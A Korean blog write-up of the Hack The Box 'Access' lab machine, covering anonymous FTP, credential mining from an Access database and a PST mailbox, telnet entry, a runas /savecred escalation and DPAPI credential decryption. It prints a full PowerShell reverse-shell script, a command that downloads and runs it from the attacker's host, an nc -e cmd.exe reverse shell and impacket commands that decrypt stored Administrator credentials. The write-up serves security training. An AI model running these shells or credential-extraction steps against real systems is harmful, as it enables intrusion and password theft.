정보 수집 (Enumeration)
rustscan 결과 21(FTP), 23(Telnet), 80(HTTP)이 열려 있었다.
rustscan -a 10.129.94.112 -- -sC -sV -oN nmap


common.txt로 웹 디렉터리를 열거했지만 특별한 경로는 없었다.
gobuster dir -u <http://access.htb/> -w /usr/share/dirb/wordlists/common.txt -t 5 -o gobuster

FTP에 anonymous 계정으로 로그인이 가능했다.

FTP에는 Backups/backup.mdb(MS Access DB)와 Engineer/Access Control.zip이 있었다.
바이너리 모드로 백업 DB를 받았다.
초기 침투 (FTP 자격증명 체이닝 → security)
$ mdb-tables backup.mdb
acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx

자격증명이 들어 있을 만한 auth_user 테이블을 겨냥해, 스키마와 데이터를 확인했다.
mdb-header backup.mdb
cat types.h | grep -A5 auth_user

mdb-array backup.mdb auth_user

zip unsupported compression method 99
압축 방식 99는 AES 암호화를 뜻하며, 기본 unzip은 이를 지원하지 않는다.
그래서 AES ZIP을 지원하는 7z로 비밀번호를 넣어 압축을 해제했다.
7za x -p'access4u@security' Access\ Control.zip

압축을 풀면 Access Control.pst (Outlook 메일 저장 파일)가 나온다.
이를 읽기 위해 libpst(pst-utils)를 설치했다.
https://www.kali.org/tools/libpst/
lspst로 메일 구조를 먼저 확인했다.
lspst Access\ Control.pst

readpst로 mbox로 변환해 본문을 읽으니, security 계정의 비밀번호가 적힌 메일이 있었다.
readpst Access\ Control.pst
cat Access\ Contro.mbox

얻은 자격증명으로 telnet(23)에 security로 접속했다.
telnet access.htb 23

telnet의 안정성이 떨어져 리버스쉘을 준비했다.
shell.ps1 내용
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.247',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
이 머신의 PowerShell 버전이 낮아 iwr(Invoke-WebRequest)을 쓸 수 없었다. iwr은 PowerShell 3.0부터 생긴 cmdlet인데, Access는 Windows Server 2008 R2(6.1.7600, PowerShell 2.0 기본 탑재)라 iwr이 없다.

그래서 PS 2.0에서도 동작하는 Net.WebClient로 shell.ps1을 내려받아 실행했다.
START /B "" powershell -c IEX(New-Object Net.WebClient).DownloadString('<http://10.10.15.247:8000/shell.ps1>')

리스너로 security 권한 리버스 셸이 돌아왔다.

권한 상승 (runas /savecred → Administrator)

저장된 Administrator 자격증명으로 nc 리버스 셸을 실행했다.
runas /user:ACCESS\Administrator /savecred "C:\Users\security\Documents\nc.exe -e cmd.exe 10.10.15.247 4444"
리스너로 Administrator 권한 셸을 받아 권한 상승을 완료했다.
nc -nvlp 4444

추가 분석 (DPAPI로 Administrator 평문 복구)
security 계정의 비밀번호를 아는 상태에서, Administrator의 평문 비밀번호까지 복구해 보자. Windows는 자격증명을 DPAPI(Data Protection API)로 보호하는데, 사용자 비밀번호로 마스터키를 풀 수 있으면 그 마스터키로 저장된 credential 블롭을 복호화할 수 있다.
먼저 DPAPI가 쓰는 Vault/Credentials/Protect 디렉터리를 찾았다.
cmd /c "dir /S /AS C:\Users\security\AppData\Local\Microsoft\Vault & dir /S /AS C:\Users\security\AppData\Local\Microsoft\Credentials & dir /S /AS C:\Users\security\AppData\Local\Microsoft\Protect & dir /S /AS C:\Users\security\AppData\Roaming\Microsoft\Vault & dir /S /AS C:\Users\security\AppData\Roaming\Microsoft\Credentials & dir /S /AS C:\Users\security\AppData\Roaming\Microsoft\Protect"

Protect 폴더의 마스터키 파일을 security의 SID와 비밀번호로 복호화했다.
impacket-dpapi masterkey -file 0792c32e-48a5-4fe3-8b43-d93d64590580 -sid S-1-5-21-953262931-566350628-63446256-1001 -password '4Cc3ssC0ntr0ller'

복호화한 마스터키로 Credentials 폴더의 credential 블롭을 풀어 평문을 얻었다.
impacket-dpapi credential -file 51AB168BE4BDB3A603DADE4F8CA81290 -key 0xb360fa5dfea278892070f4d086d47ccf5ae30f7206af0927c33b13957d44f0149a128391c4344a9b7b9c9e2e5351bfaf94a1a715627f27ec9fafb17f9b4af7d2

복구한 Administrator 평문 비밀번호로 telnet 로그인이 되는 것까지 확인했다.

'HTB' 카테고리의 다른 글
| HTB - Timelapse (0) | 2026.10.18 |
|---|---|
| HTB - Sauna (0) | 2026.10.16 |
| HTB - Titanic (0) | 2026.10.10 |
| HTB - Dog (0) | 2026.09.20 |
| HTB - LinkVortex (0) | 2026.09.19 |
